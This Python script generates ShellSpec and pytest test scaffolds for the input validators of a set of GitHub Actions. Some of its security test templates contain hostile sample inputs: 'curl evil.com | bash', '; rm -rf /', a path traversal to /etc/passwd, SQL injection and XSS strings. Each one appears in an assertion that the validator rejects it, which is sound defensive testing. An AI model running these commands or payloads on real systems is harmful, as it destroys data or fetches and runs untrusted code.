actions/validate-inputs/scripts/generate-tests.py

#!/usr/bin/env python3
"""Test generation system for GitHub Actions and validators.

This script generates test files for actions and validators based on their
definitions, without overwriting existing tests.
"""
# pylint: disable=invalid-name  # Script name matches convention

from __future__ import annotations

import argparse
import logging
from pathlib import Path
import re
import sys

import yaml  # pylint: disable=import-error

# Set up logging
logging.basicConfig(
    level=logging.INFO,
    format="%(levelname)s: %(message)s",
)
logger = logging.getLogger(__name__)


class TestGenerator:
    """Generate tests for GitHub Actions and validators."""

    def __init__(self, project_root: Path, *, dry_run: bool = False) -> None:
        """Initialize the test generator.

        Args:
            project_root: Path to the project root directory
            dry_run: If True, don't write files, just show what would be generated
        """
        self.project_root = project_root
        self.validate_inputs_dir = project_root / "validate-inputs"
        self.tests_dir = project_root / "_tests"
        self.generated_count = 0
        self.skipped_count = 0
        self.dry_run = dry_run

    def generate_all_tests(self) -> None:
        """Generate tests for all actions and validators."""
        logger.info("Starting test generation...")

        # Generate ShellSpec tests for actions
        self.generate_action_tests()

        # Generate pytest tests for validators
        self.generate_validator_tests()

        # Generate tests for custom validators
        self.generate_custom_validator_tests()

        logger.info(
            "Test generation complete: %d generated, %d skipped (already exist)",
            self.generated_count,
            self.skipped_count,
        )

    def generate_action_tests(self) -> None:
        """Generate ShellSpec tests for GitHub Actions."""
        logger.info("Generating ShellSpec tests for actions...")

        # Find all action directories
        for item in sorted(self.project_root.iterdir()):
            if not item.is_dir():
                continue

            action_yml = item / "action.yml"
            if not action_yml.exists():
                continue

            # Skip special directories
            if item.name.startswith((".", "_")) or item.name == "validate-inputs":
                continue

            self._generate_shellspec_test(item.name, action_yml)

    def _generate_shellspec_test(self, action_name: str, action_yml: Path) -> None:
        """Generate ShellSpec test for a single action.

        Args:
            action_name: Name of the action
            action_yml: Path to the action.yml file
        """
        # Check if test already exists
        test_file = self.tests_dir / "unit" / action_name / "validation.spec.sh"
        if test_file.exists():
            logger.debug("Test already exists for %s, skipping", action_name)
            self.skipped_count += 1
            return

        # Load action definition
        with action_yml.open() as f:
            action_def = yaml.safe_load(f)

        # Generate test content
        test_content = self._generate_shellspec_content(action_name, action_def)

        if self.dry_run:
            logger.info("[DRY RUN] Would generate ShellSpec test: %s", test_file)
            self.generated_count += 1
            return

        # Create test directory
        test_file.parent.mkdir(parents=True, exist_ok=True)

        # Write test file
        with test_file.open("w", encoding="utf-8") as f:
            f.write(test_content)

        # Make executable
        test_file.chmod(0o755)

        logger.info("Generated ShellSpec test for %s", action_name)
        self.generated_count += 1

    def _generate_shellspec_content(self, action_name: str, action_def: dict) -> str:
        """Generate ShellSpec test content.

        Args:
            action_name: Name of the action
            action_def: Action definition from action.yml

        Returns:
            ShellSpec test content
        """
        inputs = action_def.get("inputs", {})
        required_inputs = [name for name, config in inputs.items() if config.get("required", False)]

        # Convert action name to readable format
        readable_name = action_name.replace("-", " ").title()
        # Use action description if available, otherwise use readable name
        description = action_def.get("name", readable_name)

        content = f"""#!/usr/bin/env bash
# ShellSpec tests for {action_name}
# Generated by generate-tests.py - Do not edit manually

# shellcheck disable=SC1091
. "$SHELLSPEC_HELPERDIR/../unit/spec_helper.sh"

Describe '{description} Input Validation'
"""

        # Add setup
        content += """
  setup() {
    export_test_env
    export INPUT_ACTION_TYPE="${action_name}"
    cleanup_test_env
  }

  Before 'setup'
  After 'cleanup_test_env'

"""

        # Generate test for required inputs
        if required_inputs:
            content += f"""  Context 'Required inputs validation'
    It 'should fail when required inputs are missing'
      When run validate_inputs '{action_name}'
      The status should be failure
      The error should include 'required'
    End
"""

            for input_name in required_inputs:
                env_var = f"INPUT_{input_name.upper().replace('-', '_')}"
                content += f"""
    It 'should fail without {input_name}'
      unset {env_var}
      When run validate_inputs '{action_name}'
      The status should be failure
      The error should include '{input_name}'
    End
"""

        # Generate test for valid inputs
        content += """
  Context 'Valid inputs'
    It 'should pass with all valid inputs'
"""

        # Add example values for each input
        for input_name, config in inputs.items():
            env_var = f"INPUT_{input_name.upper().replace('-', '_')}"
            example_value = self._get_example_value(input_name, config)
            content += f"      export {env_var}='{example_value}'\n"

        content += f"""      When run validate_inputs '{action_name}'
      The status should be success
      The output should not include 'error'
    End
  End
"""

        # Add input-specific validation tests
        for input_name, config in inputs.items():
            test_cases = self._generate_input_test_cases(input_name, config)
            if test_cases:
                content += f"""
  Context '{input_name} validation'
"""
                for test_case in test_cases:
                    content += test_case
                content += "  End\n"

        content += "End\n"
        return content

    def _get_example_value(self, input_name: str, config: dict) -> str:
        """Get example value for an input based on its name and config.

        Args:
            input_name: Name of the input
            config: Input configuration from action.yml

        Returns:
            Example value for the input
        """
        # Check for default value
        if "default" in config:
            return str(config["default"])

        # Common patterns
        patterns = {
            r"token": "${{ secrets.GITHUB_TOKEN }}",
            r"version": "1.2.3",
            r"path|file|directory": "./path/to/file",
            r"url|endpoint": "https://example.com",
            r"email": "test@example.com",
            r"branch": "main",
            r"tag": "v1.0.0",
            r"image": "myapp:latest",
            r"registry": "docker.io",
            r"platform|architecture": "linux/amd64",
            r"language": "javascript",
            r"command": "echo test",
            r"args|arguments": "--verbose",
            r"message|description": "Test message",
            r"name|title": "Test Name",
            r"dry.?run|debug|verbose": "false",
            r"push|publish|release": "true",
            r"timeout|delay": "60",
            r"retries|attempts": "3",
            r"port": "8080",
            r"host": "localhost",
        }

        # Match patterns
        for pattern, value in patterns.items():
            if re.search(pattern, input_name, re.IGNORECASE):
                return value

        # Default fallback
        return "test-value"

    def _generate_input_test_cases(
        self,
        input_name: str,
        config: dict,  # noqa: ARG002
    ) -> list[str]:
        """Generate test cases for a specific input.

        Args:
            input_name: Name of the input
            config: Input configuration

        Returns:
            List of test case strings
        """
        test_cases = []
        env_var = f"INPUT_{input_name.upper().replace('-', '_')}"

        # Boolean validation
        if re.search(r"dry.?run|debug|verbose|push|publish", input_name, re.IGNORECASE):
            test_cases.append(f"""
    It 'should accept boolean values for {input_name}'
      export {env_var}='true'
      When run validate_inputs '${{action_name}}'
      The status should be success
    End

    It 'should reject invalid boolean for {input_name}'
      export {env_var}='invalid'
      When run validate_inputs '${{action_name}}'
      The status should be failure
      The error should include 'boolean'
    End
""")

        # Version validation
        elif "version" in input_name.lower():
            test_cases.append(f"""
    It 'should accept valid version for {input_name}'
      export {env_var}='1.2.3'
      When run validate_inputs '${{action_name}}'
      The status should be success
    End

    It 'should accept version with v prefix for {input_name}'
      export {env_var}='v1.2.3'
      When run validate_inputs '${{action_name}}'
      The status should be success
    End
""")

        # Token validation
        elif "token" in input_name.lower():
            test_cases.append(f"""
    It 'should accept GitHub token for {input_name}'
      export {env_var}='${{{{ secrets.GITHUB_TOKEN }}}}'
      When run validate_inputs '${{action_name}}'
      The status should be success
    End

    It 'should accept classic PAT for {input_name}'
      export {env_var}='ghp_1234567890123456789012345678901234'
      When run validate_inputs '${{action_name}}'
      The status should be success
    End
""")

        # Path validation
        elif re.search(r"path|file|directory", input_name, re.IGNORECASE):
            test_cases.append(f"""
    It 'should accept valid path for {input_name}'
      export {env_var}='./valid/path'
      When run validate_inputs '${{action_name}}'
      The status should be success
    End

    It 'should reject path traversal for {input_name}'
      export {env_var}='../../../etc/passwd'
      When run validate_inputs '${{action_name}}'
      The status should be failure
      The error should include 'security'
    End
""")

        return test_cases

    def generate_validator_tests(self) -> None:
        """Generate pytest tests for validators."""
        logger.info("Generating pytest tests for validators...")

        validators_dir = self.validate_inputs_dir / "validators"
        tests_dir = self.validate_inputs_dir / "tests"

        # Find all validator modules
        for validator_file in sorted(validators_dir.glob("*.py")):
            if validator_file.name in ("__init__.py", "base.py", "registry.py"):
                continue

            validator_name = validator_file.stem
            test_file = tests_dir / f"test_{validator_name}.py"

            # Skip if test already exists
            if test_file.exists():
                logger.debug("Test already exists for %s, skipping", validator_name)
                self.skipped_count += 1
                continue

            # Generate test content
            test_content = self._generate_pytest_content(validator_name)

            if self.dry_run:
                logger.info("[DRY RUN] Would generate pytest test: %s", test_file)
                self.generated_count += 1
                continue

            # Write test file
            with test_file.open("w", encoding="utf-8") as f:
                f.write(test_content)

            logger.info("Generated pytest test for %s", validator_name)
            self.generated_count += 1

    def _generate_pytest_content(self, validator_name: str) -> str:
        """Generate pytest test content for a validator.

        Args:
            validator_name: Name of the validator module

        Returns:
            pytest test content
        """
        class_name = "".join(word.capitalize() for word in validator_name.split("_"))
        if not class_name.endswith("Validator"):
            class_name += "Validator"

        content = f'''"""Tests for {validator_name} validator.

Generated by generate-tests.py - Do not edit manually.
"""

import pytest

from validators.{validator_name} import {class_name}


class Test{class_name}:
    """Test cases for {class_name}."""

    def setup_method(self):
        """Set up test fixtures."""
        self.validator = {class_name}("test-action")

    def teardown_method(self):
        """Clean up after tests."""
        self.validator.clear_errors()
'''

        # Add common test methods based on validator type
        if "version" in validator_name:
            content += self._add_version_tests()
        elif "token" in validator_name:
            content += self._add_token_tests()
        elif "boolean" in validator_name:
            content += self._add_boolean_tests()
        elif "numeric" in validator_name:
            content += self._add_numeric_tests()
        elif "file" in validator_name:
            content += self._add_file_tests()
        elif "network" in validator_name:
            content += self._add_network_tests()
        elif "docker" in validator_name:
            content += self._add_docker_tests()
        elif "security" in validator_name:
            content += self._add_security_tests()
        else:
            content += self._add_generic_tests(validator_name)

        return content

    def _add_version_tests(self) -> str:
        """Add version-specific test methods."""
        return '''
    def test_valid_semantic_version(self):
        """Test valid semantic version."""
        assert self.validator.validate_semantic_version("1.2.3") is True
        assert self.validator.validate_semantic_version("1.0.0-alpha") is True
        assert self.validator.validate_semantic_version("2.0.0+build123") is True

    def test_invalid_semantic_version(self):
        """Test invalid semantic version."""
        assert self.validator.validate_semantic_version("1.2") is False
        assert self.validator.validate_semantic_version("invalid") is False
        assert self.validator.validate_semantic_version("1.2.3.4") is False

    def test_valid_calver(self):
        """Test valid calendar version."""
        assert self.validator.validate_calver("2024.3.1") is True
        assert self.validator.validate_calver("2024.03.15") is True
        assert self.validator.validate_calver("24.3.1") is True

    def test_github_expressions(self):
        """Test GitHub expression handling."""
        assert self.validator.validate_semantic_version("${{ env.VERSION }}") is True
        assert self.validator.validate_calver("${{ steps.version.outputs.version }}") is True
'''

    def _add_token_tests(self) -> str:
        """Add token-specific test methods."""
        return '''
    def test_valid_github_token(self):
        """Test valid GitHub tokens."""
        # Classic PAT (36 chars)
        assert self.validator.validate_github_token("ghp_" + "a" * 32) is True
        # Fine-grained PAT (82 chars)
        assert self.validator.validate_github_token("github_pat_" + "a" * 71) is True
        # GitHub expression
        assert self.validator.validate_github_token("${{ secrets.GITHUB_TOKEN }}") is True

    def test_invalid_github_token(self):
        """Test invalid GitHub tokens."""
        assert self.validator.validate_github_token("invalid") is False
        assert self.validator.validate_github_token("ghp_short") is False
        assert self.validator.validate_github_token("") is False

    def test_other_token_types(self):
        """Test other token types."""
        # NPM token
        assert self.validator.validate_npm_token("npm_" + "a" * 32) is True
        # PyPI token
        assert self.validator.validate_pypi_token("pypi-AgEIcHlwaS5vcmc" + "a" * 100) is True
'''

    def _add_boolean_tests(self) -> str:
        """Add boolean-specific test methods."""
        return '''
    def test_valid_boolean_values(self):
        """Test valid boolean values."""
        valid_values = ["true", "false", "True", "False", "TRUE", "FALSE",
                       "yes", "no", "on", "off", "1", "0"]
        for value in valid_values:
            assert self.validator.validate_boolean(value) is True
            assert not self.validator.has_errors()

    def test_invalid_boolean_values(self):
        """Test invalid boolean values."""
        invalid_values = ["maybe", "unknown", "2", "-1", "", "null"]
        for value in invalid_values:
            self.validator.clear_errors()
            assert self.validator.validate_boolean(value) is False
            assert self.validator.has_errors()

    def test_github_expressions(self):
        """Test GitHub expression handling."""
        assert self.validator.validate_boolean("${{ inputs.dry_run }}") is True
        assert self.validator.validate_boolean("${{ env.DEBUG }}") is True
'''

    def _add_numeric_tests(self) -> str:
        """Add numeric-specific test methods."""
        return '''
    def test_valid_integers(self):
        """Test valid integer values."""
        assert self.validator.validate_integer("42") is True
        assert self.validator.validate_integer("-10") is True
        assert self.validator.validate_integer("0") is True

    def test_invalid_integers(self):
        """Test invalid integer values."""
        assert self.validator.validate_integer("3.14") is False
        assert self.validator.validate_integer("abc") is False
        assert self.validator.validate_integer("") is False

    def test_numeric_ranges(self):
        """Test numeric range validation."""
        assert self.validator.validate_range("5", min_val=1, max_val=10) is True
        assert self.validator.validate_range("15", min_val=1, max_val=10) is False
        assert self.validator.validate_range("-5", min_val=0) is False

    def test_github_expressions(self):
        """Test GitHub expression handling."""
        assert self.validator.validate_integer("${{ inputs.timeout }}") is True
        assert self.validator.validate_range("${{ env.RETRIES }}", min_val=1) is True
'''

    def _add_file_tests(self) -> str:
        """Add file-specific test methods."""
        return '''
    def test_valid_file_paths(self):
        """Test valid file paths."""
        assert self.validator.validate_file_path("./src/main.py") is True
        assert self.validator.validate_file_path("/absolute/path/file.txt") is True
        assert self.validator.validate_file_path("relative/path.yml") is True

    def test_path_traversal_detection(self):
        """Test path traversal detection."""
        assert self.validator.validate_file_path("../../../etc/passwd") is False
        assert self.validator.validate_file_path("./valid/../../../etc/passwd") is False
        assert self.validator.has_errors()

    def test_file_extensions(self):
        """Test file extension validation."""
        assert self.validator.validate_yaml_file("config.yml") is True
        assert self.validator.validate_yaml_file("config.yaml") is True
        assert self.validator.validate_yaml_file("config.txt") is False

    def test_github_expressions(self):
        """Test GitHub expression handling."""
        assert self.validator.validate_file_path("${{ github.workspace }}/file.txt") is True
        assert self.validator.validate_yaml_file("${{ inputs.config_file }}") is True
'''

    def _add_network_tests(self) -> str:
        """Add network-specific test methods."""
        return '''
    def test_valid_urls(self):
        """Test valid URL formats."""
        assert self.validator.validate_url("https://example.com") is True
        assert self.validator.validate_url("http://localhost:8080") is True
        assert self.validator.validate_url("https://api.example.com/v1/endpoint") is True

    def test_invalid_urls(self):
        """Test invalid URL formats."""
        assert self.validator.validate_url("not-a-url") is False
        assert self.validator.validate_url("ftp://example.com") is False
        assert self.validator.validate_url("") is False

    def test_valid_emails(self):
        """Test valid email addresses."""
        assert self.validator.validate_email("user@example.com") is True
        assert self.validator.validate_email("test.user+tag@company.co.uk") is True

    def test_invalid_emails(self):
        """Test invalid email addresses."""
        assert self.validator.validate_email("invalid") is False
        assert self.validator.validate_email("@example.com") is False
        assert self.validator.validate_email("user@") is False

    def test_github_expressions(self):
        """Test GitHub expression handling."""
        assert self.validator.validate_url("${{ secrets.WEBHOOK_URL }}") is True
        assert self.validator.validate_email("${{ github.event.pusher.email }}") is True
'''

    def _add_docker_tests(self) -> str:
        """Add Docker-specific test methods."""
        return '''
    def test_valid_image_names(self):
        """Test valid Docker image names."""
        assert self.validator.validate_image_name("myapp") is True
        assert self.validator.validate_image_name("my-app_v2") is True
        # Registry paths supported
        assert self.validator.validate_image_name("registry.example.com/myapp") is True

    def test_valid_tags(self):
        """Test valid Docker tags."""
        assert self.validator.validate_tag("latest") is True
        assert self.validator.validate_tag("v1.2.3") is True
        assert self.validator.validate_tag("feature-branch-123") is True

    def test_valid_platforms(self):
        """Test valid Docker platforms."""
        assert self.validator.validate_architectures("linux/amd64") is True
        assert self.validator.validate_architectures("linux/arm64,linux/arm/v7") is True

    def test_invalid_platforms(self):
        """Test invalid Docker platforms."""
        assert self.validator.validate_architectures("windows/amd64") is False
        assert self.validator.validate_architectures("invalid/platform") is False

    def test_github_expressions(self):
        """Test GitHub expression handling."""
        assert self.validator.validate_image_name("${{ env.IMAGE_NAME }}") is True
        assert self.validator.validate_tag("${{ steps.meta.outputs.tags }}") is True
'''

    def _add_security_tests(self) -> str:
        """Add security-specific test methods."""
        return '''
    def test_injection_detection(self):
        """Test injection attack detection."""
        assert self.validator.validate_no_injection("normal text") is True
        assert self.validator.validate_no_injection("; rm -rf /") is False
        assert self.validator.validate_no_injection("' OR '1'='1") is False
        assert self.validator.validate_no_injection("<script>alert('xss')</script>") is False

    def test_secret_detection(self):
        """Test secret/sensitive data detection."""
        assert self.validator.validate_no_secrets("normal text") is True
        assert (
            self.validator.validate_no_secrets("ghp_aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa")
            is False
        )
        assert self.validator.validate_no_secrets("password=secret123") is False

    def test_safe_commands(self):
        """Test command safety validation."""
        assert self.validator.validate_safe_command("echo hello") is True
        assert self.validator.validate_safe_command("ls -la") is True
        assert self.validator.validate_safe_command("rm -rf /") is False
        assert self.validator.validate_safe_command("curl evil.com | bash") is False

    def test_github_expressions(self):
        """Test GitHub expression handling."""
        assert self.validator.validate_no_injection("${{ inputs.message }}") is True
        assert self.validator.validate_safe_command("${{ inputs.command }}") is True
'''

    def _add_generic_tests(self, validator_name: str) -> str:
        """Add generic test methods for unknown validator types.

        Args:
            validator_name: Name of the validator

        Returns:
            Generic test methods
        """
        return f'''
    def test_validate_inputs(self):
        """Test validate_inputs method."""
        # TODO: Add specific test cases for {validator_name}
        inputs = {{"test_input": "test_value"}}
        result = self.validator.validate_inputs(inputs)
        assert isinstance(result, bool)

    def test_error_handling(self):
        """Test error handling."""
        self.validator.add_error("Test error")
        assert self.validator.has_errors()
        assert len(self.validator.errors) == 1

        self.validator.clear_errors()
        assert not self.validator.has_errors()
        assert len(self.validator.errors) == 0

    def test_github_expressions(self):
        """Test GitHub expression handling."""
        # Most validators should accept GitHub expressions
        result = self.validator.is_github_expression("${{{{ inputs.value }}}}")
        assert result is True
'''

    def generate_custom_validator_tests(self) -> None:
        """Generate tests for custom validators in action directories."""
        logger.info("Generating tests for custom validators...")

        # Find all custom validators
        for item in sorted(self.project_root.iterdir()):
            if not item.is_dir():
                continue

            custom_validator = item / "CustomValidator.py"
            if not custom_validator.exists():
                continue

            action_name = item.name
            test_file = self.validate_inputs_dir / "tests" / f"test_{action_name}_custom.py"

            # Skip if test already exists
            if test_file.exists():
                logger.debug("Test already exists for %s custom validator, skipping", action_name)
                self.skipped_count += 1
                continue

            # Generate test content
            test_content = self._generate_custom_validator_test(action_name)

            if self.dry_run:
                logger.info("[DRY RUN] Would generate custom validator test: %s", test_file)
                self.generated_count += 1
                continue

            # Write test file
            with test_file.open("w", encoding="utf-8") as f:
                f.write(test_content)

            logger.info("Generated test for %s custom validator", action_name)
            self.generated_count += 1

    def _generate_custom_validator_test(self, action_name: str) -> str:
        """Generate test for a custom validator.

        Args:
            action_name: Name of the action with custom validator

        Returns:
            Test content for custom validator
        """
        class_name = "".join(word.capitalize() for word in action_name.split("-"))

        content = f'''"""Tests for {action_name} custom validator.

Generated by generate-tests.py - Do not edit manually.
"""

import sys
from pathlib import Path

import pytest

# Add action directory to path to import custom validator
action_path = Path(__file__).parent.parent.parent / "{action_name}"
sys.path.insert(0, str(action_path))

from CustomValidator import CustomValidator


class TestCustom{class_name}Validator:
    """Test cases for {action_name} custom validator."""

    def setup_method(self):
        """Set up test fixtures."""
        self.validator = CustomValidator("{action_name}")

    def teardown_method(self):
        """Clean up after tests."""
        self.validator.clear_errors()

    def test_validate_inputs_valid(self):
        """Test validation with valid inputs."""
        # TODO: Add specific valid inputs for {action_name}
        inputs = {{}}
        result = self.validator.validate_inputs(inputs)
        # Adjust assertion based on required inputs
        assert isinstance(result, bool)

    def test_validate_inputs_invalid(self):
        """Test validation with invalid inputs."""
        # TODO: Add specific invalid inputs for {action_name}
        inputs = {{"invalid_key": "invalid_value"}}
        result = self.validator.validate_inputs(inputs)
        # Custom validators may have specific validation rules
        assert isinstance(result, bool)

    def test_required_inputs(self):
        """Test required inputs detection."""
        required = self.validator.get_required_inputs()
        assert isinstance(required, list)
        # TODO: Assert specific required inputs for {action_name}

    def test_validation_rules(self):
        """Test validation rules."""
        rules = self.validator.get_validation_rules()
        assert isinstance(rules, dict)
        # TODO: Assert specific validation rules for {action_name}

    def test_github_expressions(self):
        """Test GitHub expression handling."""
        inputs = {{
            "test_input": "${{{{ github.token }}}}",
        }}
        result = self.validator.validate_inputs(inputs)
        assert isinstance(result, bool)
        # GitHub expressions should generally be accepted
'''

        # Add action-specific test methods based on action name
        if "docker" in action_name:
            content += '''
    def test_docker_specific_validation(self):
        """Test Docker-specific validation."""
        inputs = {
            "image": "myapp:latest",
            "platforms": "linux/amd64,linux/arm64",
        }
        result = self.validator.validate_inputs(inputs)
        assert isinstance(result, bool)
'''
        elif "codeql" in action_name:
            content += '''
    def test_codeql_specific_validation(self):
        """Test CodeQL-specific validation."""
        inputs = {
            "language": "javascript,python",
            "queries": "security-extended",
        }
        result = self.validator.validate_inputs(inputs)
        assert isinstance(result, bool)
'''
        elif "label" in action_name:
            content += '''
    def test_label_specific_validation(self):
        """Test label-specific validation."""
        inputs = {
            "labels": ".github/labels.yml",
            "token": "${{ secrets.GITHUB_TOKEN }}",
        }
        result = self.validator.validate_inputs(inputs)
        assert isinstance(result, bool)
'''

        content += '''
    def test_error_propagation(self):
        """Test error propagation from sub-validators."""
        # Custom validators often use sub-validators
        # Test that errors are properly propagated
        inputs = {"test": "value"}
        self.validator.validate_inputs(inputs)
        # Check error handling
        if self.validator.has_errors():
            assert len(self.validator.errors) > 0
'''

        return content


def main() -> None:
    """Main entry point for test generation."""
    parser = argparse.ArgumentParser(description="Generate tests for GitHub Actions and validators")
    parser.add_argument(
        "--project-root",
        type=Path,
        default=Path.cwd(),
        help="Path to project root (default: current directory)",
    )
    parser.add_argument(
        "--verbose",
        "-v",
        action="store_true",
        help="Enable verbose logging",
    )
    parser.add_argument(
        "--dry-run",
        action="store_true",
        help="Show what would be generated without creating files",
    )

    args = parser.parse_args()

    if args.verbose:
        logging.getLogger().setLevel(logging.DEBUG)

    # Validate project root
    if not args.project_root.exists():
        logger.error("Project root does not exist: %s", args.project_root)
        sys.exit(1)

    validate_inputs = args.project_root / "validate-inputs"
    if not validate_inputs.exists():
        logger.error("validate-inputs directory not found in %s", args.project_root)
        sys.exit(1)

    # Run test generation
    if args.dry_run:
        logger.info("DRY RUN MODE - No files will be created")

    generator = TestGenerator(args.project_root, dry_run=args.dry_run)
    generator.generate_all_tests()


if __name__ == "__main__":
    main()